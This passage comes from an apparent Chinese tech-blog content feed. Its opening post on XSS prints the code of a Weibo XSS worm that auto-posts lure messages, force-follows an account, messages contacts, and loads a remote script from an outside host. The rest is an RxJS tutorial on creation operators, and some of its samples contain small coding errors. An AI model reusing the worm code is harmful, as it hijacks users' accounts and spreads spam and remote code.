class="string">'建党大业中穿帮的地方:'</span>,</span><br><span class="line"><span class="string">'让女人心动的100句诗歌:'</span>,</span><br><span class="line"><span class="string">'3D肉团团高清普通话版种子:'</span>,</span><br><span class="line"><span class="string">'这是传说中的神仙眷侣啊:'</span>,</span><br><span class="line"><span class="string">'惊爆!范冰冰艳照真流出了:'</span>,</span><br><span class="line"><span class="string">'杨幂被爆多次被潜规则:'</span>,</span><br><span class="line"><span class="string">'傻仔拿锤子去抢银行:'</span>,</span><br><span class="line"><span class="string">'可以监听别人手机的软件:'</span>,</span><br><span class="line"><span class="string">'个税起征点有望提到4000:'</span>];</span><br><span class="line"><span class="keyword">var</span> msg = msgs[<span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random()*msgs.length)] + link;</span><br><span class="line">msg = <span class="built_in">encodeURIComponent</span>(msg);</span><br><span class="line"><span class="keyword">return</span> msg;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">post</span>(<span class="params">url,data,sync</span>)</span>{</span><br><span class="line"> xmlHttp = createXHR();</span><br><span class="line"> xmlHttp.open(<span class="string">"POST"</span>,url,sync);</span><br><span class="line"> xmlHttp.setRequestHeader(<span class="string">"Accept"</span>,<span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"</span>);</span><br><span class="line"> xmlHttp.setRequestHeader(<span class="string">"Content-Type"</span>,<span class="string">"application/x-www-form-urlencoded; charset=UTF-8"</span>);</span><br><span class="line"> xmlHttp.send(data);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">publish</span>(<span class="params"></span>)</span>{</span><br><span class="line">url = <span class="string">'http://weibo.com/mblog/publish.php?rnd='</span> + <span class="keyword">new</span> <span class="built_in">Date</span>().getTime();</span><br><span class="line">data = <span class="string">'content='</span> + random_msg() + <span class="string">'&pic=&styleid=2&retcode='</span>;</span><br><span class="line">post(url,data,<span class="literal">true</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">follow</span>(<span class="params"></span>)</span>{</span><br><span class="line">url = <span class="string">'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd='</span> + <span class="keyword">new</span> <span class="built_in">Date</span>().getTime();</span><br><span class="line">data = <span class="string">'uid='</span> + <span class="number">2201270010</span> + <span class="string">'&fromuid='</span> + $CONFIG.$uid + <span class="string">'&refer_sort=profile&atnId=profile'</span>;</span><br><span class="line">post(url,data,<span class="literal">true</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">message</span>(<span class="params"></span>)</span>{</span><br><span class="line">url = <span class="string">'http://weibo.com/'</span> + $CONFIG.$uid + <span class="string">'/follow'</span>;</span><br><span class="line">ids = getappkey(url);</span><br><span class="line">id = ids.split(<span class="string">'||'</span>);</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i<id.length - <span class="number">1</span> & i<<span class="number">5</span>;i++){</span><br><span class="line">msgurl = <span class="string">'http://weibo.com/message/addmsg.php?rnd='</span> + <span class="keyword">new</span> <span class="built_in">Date</span>().getTime();</span><br><span class="line">msg = random_msg();</span><br><span class="line">msg = <span class="built_in">encodeURIComponent</span>(msg);</span><br><span class="line">user = <span class="built_in">encodeURIComponent</span>(<span class="built_in">encodeURIComponent</span>(id[i]));</span><br><span class="line">data = <span class="string">'content='</span> + msg + <span class="string">'&name='</span> + user + <span class="string">'&retcode='</span>;</span><br><span class="line">post(msgurl,data,<span class="literal">false</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">main</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line">publish();</span><br><span class="line">} <span class="keyword">catch</span>(e){}</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line">follow();</span><br><span class="line">} <span class="keyword">catch</span>(e){}</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line">message();</span><br><span class="line">}<span class="keyword">catch</span>(e){}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line"> x=<span class="string">"g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)"</span>;<span class="built_in">window</span>.opener.eval(x);</span><br><span class="line">} <span class="keyword">catch</span>(e){}</span><br><span class="line"></span><br><span class="line">main();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> t=setTimeout(<span class="string">'location="http://weibo.com/pub/topic";'</span>,<span class="number">5000</span>);</span><br></pre></td></tr></table></figure><p></p><p>好啦,这篇有关<code>XSS</code>漏洞的博客到这里了也就结束了。关于前端安全,还有许多的东西,比如<code>XSRF</code>漏洞, <code>http</code>劫持,<code>iframe</code>嵌入等等,三言两语一篇博客是很难讲完啦,就留到以后再说吧。</p><p>撒花完结,多谢阅读。。。。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> 安全 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> 安全 </tag>
</tags>
</entry>
<entry>
<title>RxJs系列(三):创建操作符</title>
<link href="/2018/10/07/rxjs-3-create_operator/"/>
<url>/2018/10/07/rxjs-3-create_operator/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在上一篇关于<code>RxJs</code>的博客中有提到除了实例化<code>Observable</code>来创建一个<code>Observable</code>外,还有一些创建操作符,也能够帮助我们简单快速的创建<code>Observable</code>。</p><p>我们在日常的开发使用中,也是更多的使用这些操作符来进行<code>Rxjs</code>的创建,只有很少情况下,我们才会去自己定义和处理<code>Observable</code>的内部构造和实现。</p><p>这篇博客,就来介绍一下与<code>Rxjs</code>的创建有关的几个操作符。</p><p>对<code>Rxjs</code>还不是非常了解的同学,可以到本系列的<a href="https://blog.gyufei.cn/2018/09/04/rxjs-1-basic/" target="_blank" rel="noopener">第一篇</a>和<a href="https://blog.gyufei.cn/2018/09/05/rxjs-2-Observable/" target="_blank" rel="noopener">第二篇</a>先大致了解一下。</p></blockquote><a id="more"></a><p>在第二篇关于<code>Observable</code>的介绍中,我们是这样创建一个<code>Observable</code>实例的。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 单纯推送值</span></span><br><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="keyword">function</span> <span class="title">subscribe</span>(<span class="params">observer</span>) </span>{</span><br><span class="line"> observer.next(<span class="number">1</span>)</span><br><span class="line"> observer.next(<span class="number">2</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 包含完成标志和错误捕捉</span></span><br><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="keyword">function</span> <span class="title">subscribe</span>(<span class="params">observer</span>) </span>{</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> observer.next(<span class="number">1</span>)</span><br><span class="line"> observer.complte()</span><br><span class="line"> } <span class="keyword">catch</span>(err) {</span><br><span class="line"> observer.error(err)</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>同时我们也提到这种构造形式和<code>Promise</code>非常像。但我们仔细思考一下,就会发现问题。对于<code>Promise</code>来说,它推送一次值之后就会进入<code>resolved</code>状态,它的这种形态是与单次异步操作完美契合的,因此它的内部构造逻辑不会十分的复杂。但<code>Observable</code>就不是这样了,它可以任意次的推送值,可以包裹任意多个异步操作(甚至是异步同步混杂的操作),如果我们再通过这种方式来进行实例构造的话,将会是一个十分麻烦的事情。</p><p>也正是因为这样,<code>Rxjs</code>提供了很多的创建操作符(也可以称它们为<code>Observalbe</code>的工厂函数),来让我们能够从各种形式的数据,以各种形式创建<code>Rxjs</code>。</p><p>比较常用的操作符按创建来源可以分为以下几类:</p><ul><li>值<ul><li><code>of</code></li><li><code>range</code></li><li><code>from</code></li></ul></li><li>事件<ul><li><code>fromEvent</code></li><li><code>fromEventPattern</code></li></ul></li><li><strong><em>webSocket</em></strong><ul><li><code>webSocket</code></li></ul></li><li>定时器<ul><li><code>interval</code></li><li><code>timer</code></li></ul></li><li>特殊值<ul><li><code>empty</code></li><li><code>never</code></li><li><code>throw</code></li></ul></li></ul><p>另外,本篇博客我们主要来讲解一下上面提到的这些从其他形式的数据中创建<code>Observable</code>的操作符,另外还有一些操作符,它们可以从存在的<code>Observable</code>中组合或者合并出新的<code>Observable</code>来,例如<code>concat</code>,<code>merge</code>等。本篇博客就不多说它们了,在后面博客中我们再有选择性的详细介绍。</p><p>下面我们就来逐一介绍上面提到的这些<code>Observable</code>创建操作符。</p><h3 id="of"><a href="#of" class="headerlink" title="of"></a><strong><em>of</em></strong></h3><p><code>of</code>创建操作符是一个相当简单的操作符,它接受多个参数,然后再按照<strong>接收的参数顺序</strong>依次发出这些参数值。当它接收的所有参数都发送完毕后,它会再发出一个完成通知。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">of</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 1, 2, 3</span></span><br></pre></td></tr></table></figure><p>当然,<code>of</code>可以发送所有形式的<code>Js</code>值,例如数组,对象,函数,<code>undefined</code>值,<code>null</code>值等等。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">of</span>(<span class="literal">undefined</span>, ()=>{}, <span class="literal">null</span>, {<span class="attr">name</span>: <span class="string">'age'</span>}, [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: undefined, ()=>{}, null, {name: 'age'}, [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><code>of</code>操作符默认是同步发出它接收的所有值,后面我们会知道可以通过调度器<code>Scheduler</code>来设置它是同步还是异步,但现在我们可以暂时认为它总是同步的。</p><h3 id="range"><a href="#range" class="headerlink" title="range"></a><strong><em>range</em></strong></h3><p><code>range</code>操作符也相当简单易懂,它接受一个开始值数字和个数数字作为参数,依次发出开始值后的个数个数字。(包含开始值)</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = range(<span class="number">1</span>, <span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 1,2,3,4,5,6,7,8,9,10</span></span><br></pre></td></tr></table></figure><h3 id="from"><a href="#from" class="headerlink" title="from"></a><strong><em>from</em></strong></h3><p><code>from</code>操作符就不简单了,它是一个相当强大的操作符,换句话说,它几乎可以把任何东西转化为<code>Observable</code>。</p><p>具体的,<code>from</code>操作符可以将字符串,数组,类数组对象,<code>Promise</code>,迭代器对象转化为<code>Observable</code>。</p><h4 id="字符串"><a href="#字符串" class="headerlink" title="字符串"></a>字符串</h4><p>首先我们来看字符串,当<code>from</code>接受一个字符串时,它会把其当成一个字符串数组。如下:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">from</span>(<span class="string">'hello afei'</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 'h','e','l','l','o','','a','f','e','i'</span></span><br></pre></td></tr></table></figure><h4 id="数组"><a href="#数组" class="headerlink" title="数组"></a>数组</h4><p>对于数组,我们应该很容易想到<code>from</code>的行为,它创建一个依次返回数组元素的<code>Observable</code>。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">from</span>(<span class="string">'hello afei'</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">//输出: 10, 20, 'afei'</span></span><br></pre></td></tr></table></figure><h4 id="类数组对象"><a href="#类数组对象" class="headerlink" title="类数组对象"></a>类数组对象</h4><p>类数组对象,是<code>Js</code>中一种特殊形式的对象,它跟数组一样具有<code>length</code>属性,但没有其他的数组方法,例如<code>push</code>,<code>map</code>等等。</p><p>常见的类数组对象有函数的<code>arguments</code>对象,<code>HTMLCollection</code>,<code>NodeList</code>等。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> arrLike = { <span class="string">'0'</span>: <span class="string">'a'</span>, <span class="string">'1'</span>: <span class="string">'b'</span>, <span class="string">'2'</span>: <span class="string">'c'</span>, <span class="string">'length'</span>: <span class="number">3</span> }</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">from</span>(arrLike)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: a, b, c</span></span><br></pre></td></tr></table></figure><h4 id="Promise"><a href="#Promise" class="headerlink" title="Promise"></a><strong><em>Promise</em></strong></h4><p><code>from</code>操作符可以将<code>Promise</code>转换为一个<code>Observable</code>,这个<code>Observable</code>返回<code>Promise</code>的结果。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> promise = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =></span> { resolve(<span class="string">'hello, world'</span>) })</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">from</span>(promise)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 'hello, world'</span></span><br></pre></td></tr></table></figure><h4 id="可迭代对象"><a href="#可迭代对象" class="headerlink" title="可迭代对象"></a>可迭代对象</h4><p>可迭代对象是一个复杂的概念,笼统的来说,在<code>Js</code>中实现了<code>[Symbol.iterator]</code>的对象都是可迭代对象,表示一组可迭代的值。具体的,例如<code>Array</code>,<code>String</code>, 函数的<code>arguments</code>对象,<code>NodeList</code>对象,<strong><em>Es6</em></strong>中的<code>Set</code>,<code>Map</code>对象等,都在内部实现了<code>[Symbol.iterator]</code>方法,所以都是可迭代对象。</p><p><code>from</code>操作符通过内部处理,依次返回可迭代对象的迭代值。</p><p>我们看一个<code>from</code>将可迭代的<code>Set</code>集合转换为<code>Observable</code>的例子。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> aset = <span class="keyword">new</span> <span class="built_in">Set</span>()</span><br><span class="line">aset.add(<span class="number">1</span>)</span><br><span class="line">aset.add(<span class="number">2</span>)</span><br><span class="line">aset.add(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> ob$ = <span class="keyword">from</span>(aset)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 1, 2, 3</span></span><br></pre></td></tr></table></figure><blockquote><p>从这里也可以看出,我们上面提到的<code>from</code>能将字符串转换为<code>Observable</code>,也是将字符串作为可迭代对象进行的。</p></blockquote><p><strong><em>fromEvent</em></strong></p><p>通过<code>fromEvent</code>操作符,我们可以将一个事件转换为<code>Observable</code>。此处的事件,既可以是客户端的<code>DOM</code>事件,也可以是服务端<code>Node</code>的<code>EventEmitter</code>事件。</p><p>来看一个例子:将<code>DOM document</code>的点击事件转换为<code>Observable</code>。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> documentClicked$ = fromEvent(<span class="built_in">document</span>, <span class="string">'click'</span>)</span><br><span class="line"></span><br><span class="line">documentClick$.subscribe(<span class="function"><span class="params">e</span> =></span> <span class="built_in">console</span>.log(e));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 每次点击docuemnt时,都会在控制台上输出点击事件的 Event</span></span><br></pre></td></tr></table></figure><p>具体的,<code>fromEvent</code>操作符可以接受两个参数,如下:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">fromEvent(target, eventName)</span><br><span class="line"></span><br><span class="line"><span class="comment">// target 是事件目标,也就是触发事件的实体,可以是DOM元素,HTMLCollection,Node.js的 EventEmitter等。</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// EventName 是事件目标发出的事件名称</span></span><br></pre></td></tr></table></figure><blockquote><p>当我们订阅(<strong><em>subscribe</em></strong>)<code>Observable</code>时,<code>RxJs</code>会自动的将我们的事件监听挂载。当我们取消订阅(<strong><em>unsubscribe</em></strong>)时,它同样会为我们清理事件监听。这种机制可以有效的防止我们忘记取消事件监听导致的内存泄漏问题,在对事件进行复杂处理时,可以更专注于事件流程本身。</p></blockquote><p><strong><em>fromEventHandler</em></strong></p><p><code>fromEventHandler</code>操作符,可以接受更纯粹更具有自定义性的事件处理器方法,将事件处理器转换为<code>Observable</code>,相比<code>fromEvent</code>,它更为底层。</p><p>通常的,一个事件处理器具有一个<code>addHandler</code>方法用来添加事件的观察者,一个<code>removeHandler</code>用来移除事件的观察者。如下所示是一个最简单的事件处理器类(为了少写一点代码,此处我们使用<em>Es6</em>语法)</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">EventProducer</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="keyword">this</span>.listener = []</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 添加观察者</span></span><br><span class="line"> addEventListener(listener) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">typeof</span> listener !== <span class="string">'function'</span>) {</span><br><span class="line"><span class="keyword">throw</span>(<span class="string">'listener not a function'</span>)</span><br><span class="line">}</span><br><span class="line"> <span class="keyword">this</span>.listener.push(listener)</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 移除观察者</span></span><br><span class="line"> removeEventListener(listener) {</span><br><span class="line"> <span class="keyword">const</span> index = <span class="keyword">this</span>.listener.indexOf(listener)</span><br><span class="line"> <span class="keyword">this</span>.listener.splice(index, <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 通知所有观察者</span></span><br><span class="line"> notify(message) {</span><br><span class="line"> <span class="keyword">this</span>.listeners.forEach(<span class="function"><span class="params">listener</span> =></span> {</span><br><span class="line"> listener(message)</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后我们实例化一个事件处理器来使用这个事件处理器类。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> myEventProducer = <span class="keyword">new</span> EventProducer()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加一个观察者到事件处理器 </span></span><br><span class="line"><span class="keyword">const</span> handler = <span class="function"><span class="params">msg</span> =></span> <span class="built_in">console</span>.log(msg)</span><br><span class="line">myEventProducer.addEventListener(handler)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 发送通知</span></span><br><span class="line">myEventProducer.notify(<span class="string">'event happen'</span>)</span><br><span class="line"><span class="comment">// 输出: event happen</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 移除观察者</span></span><br><span class="line">myEventProducer.removeEventListener(handler)</span><br></pre></td></tr></table></figure><p>常用的<code>DOM</code>元素的<code>addEventListener</code>和<code>removeEventListener</code>就是一个比较典型的事件处理器。</p><p>接着回来说<code>fromEvent</code>操作符,它可以接收两个参数:</p><ol><li><code>addHandler</code> 事件处理器的添加观察者方法</li><li><code>removeHnadler</code> 事件处理器的移除观察者方法</li></ol><p>对于上面的事件处理器的例子,我们可以这样将其转换为<code>Observable</code></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = fromEventPattern(</span><br><span class="line"> myEventProducer.addListener.bind(myEventProducer),</span><br><span class="line"> myEventProducer.removeListener.bind(myEventProducer)</span><br><span class="line">)</span><br><span class="line"><span class="comment">// 通过bind绑定事件处理器实例,防止方法被作为函数传入导致的内部this指针错误。</span></span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line">ob$.notify(<span class="string">'ob event'</span>)</span><br><span class="line"><span class="comment">// 输出: ob event</span></span><br></pre></td></tr></table></figure><p>可以看作<code>fromEventPattern</code>将我们的订阅转换成了事件处理器的观察者,从而使得我们的代码更清晰。</p><h3 id="webSocket"><a href="#webSocket" class="headerlink" title="webSocket"></a><strong><em>webSocket</em></strong></h3><p>这个操作符可以将一个<code>webSocket</code>封装为了一个<code>Subject</code>(关于<code>Subject</code>,是<code>RxJs</code>中除了<code>Observable</code>之外的又一个核心概念,在后续的博客中我们会详细介绍,现在可以先理解为它是一个可以被订阅的<code>Observable</code>,同时也是一个可以接收推送的<code>Observer</code>)。</p><p>通过这层封装,我们使用起<code>webSocket</code>来将会非常的方便和简洁。</p><p>先来看一下我们平常使用原生<code>webSocket</code>的常见流程写法。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ws = <span class="keyword">new</span> WebSocket(<span class="string">"wss://echo.websocket.org"</span>)</span><br><span class="line"></span><br><span class="line">ws.onopen = <span class="function"><span class="keyword">function</span>(<span class="params">msg</span>)</span>{...}</span><br><span class="line">ws.onmessage = <span class="function"><span class="keyword">function</span>(<span class="params">msg</span>)</span>{...}</span><br><span class="line">ws.onerror = <span class="function"><span class="keyword">function</span>(<span class="params">err</span>)</span>{...}</span><br><span class="line">ws.onclose = funtion(msg){...}</span><br><span class="line"></span><br><span class="line">ws.send(<span class="string">'some send msg'</span>)</span><br><span class="line">ws.close()</span><br></pre></td></tr></table></figure><p>看起来流程并不复杂,但需要考虑到在现在前端普遍的模块和组件化开发,我们通常需要将<code>webSocket</code>的连接封装在一个组件文件或抽离到一个模块中去,然后在其他组件中通过<code>webSocket</code>与服务端进行通信。</p><p>由此带来的问题就是在封装<code>webSocket</code>的组件或模块中我们要进行<code>webSocket</code>的连接,消息接收处理,在其他的组件里我们要进行消息的消费和发送。<code>webSocket</code>的生命周期被我们分隔到了不同的文件中,为此我们可能需要自己去进行跨组件的事件通知和消息传递,这大大增加了我们使用<code>webSocket</code>的复杂度。</p><p>思考一下,我们要在<code>ws.open</code>和<code>ws.onmessage</code>时在另一个文件里进行对应响应,要怎么做?只需要引入<code>ws</code>对象这么简单吗?如何在其他文件中即刻的判断<code>ws</code>的状态呢?如何保证文件的打包和加载顺序呢?如果我们有多个子模块中都需要用到这个<code>webSocket</code>呢?</p><p>下面来看一下使用<code>RxJs</code>对<code>webSocket</code>进行包装之后的处理。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ws$ = webSocket(<span class="string">'wss://echo.websocket.org'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 订阅webSocket转换为的Subject,也即相当于开启了webSocket连接</span></span><br><span class="line">ws$.subscribe(</span><br><span class="line">msg => <span class="built_in">console</span>.log(msg), <span class="comment">//</span></span><br><span class="line">err => <span class="built_in">console</span>.log(err),</span><br><span class="line">_ => <span class="built_in">console</span>.log(<span class="string">'complete, ws closed'</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 向服务端发送消息</span></span><br><span class="line">ws$.next(<span class="built_in">JSON</span>.stringify({<span class="attr">msg</span>: <span class="string">'hello'</span>}))</span><br></pre></td></tr></table></figure><p>可以看到<code>webSocket</code>接收一个连接<strong><em>URL</em></strong>作为参数,通过将<code>webSocket</code>连接转换为<code>Subject</code>来抽象它,代码十分的简洁优雅,我们可以直接通过<code>ws$</code>来完美的承接<code>webSocket</code>所需的操作,在需要使用<code>webSocket</code>时直接订阅,不需要时直接取消订阅即可,招之即来,挥之即去,不必在各个使用到的地方都进行零碎的生命周期处理和事件传递接收。</p><h3 id="interval"><a href="#interval" class="headerlink" title="interval"></a><strong><em>interval</em></strong></h3><p><code>interval</code>操作符主要用来创建一个持续的间隔一定时间发送一次值的<code>Observable</code>。只要知道<strong><em>JS</em></strong>中的<code>setInterval</code>,就不难理解<code>interval</code>操作符是做什么的。</p><p>首先我们自己写一个间隔一定时间发出一个值的<code>Observable</code>。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span 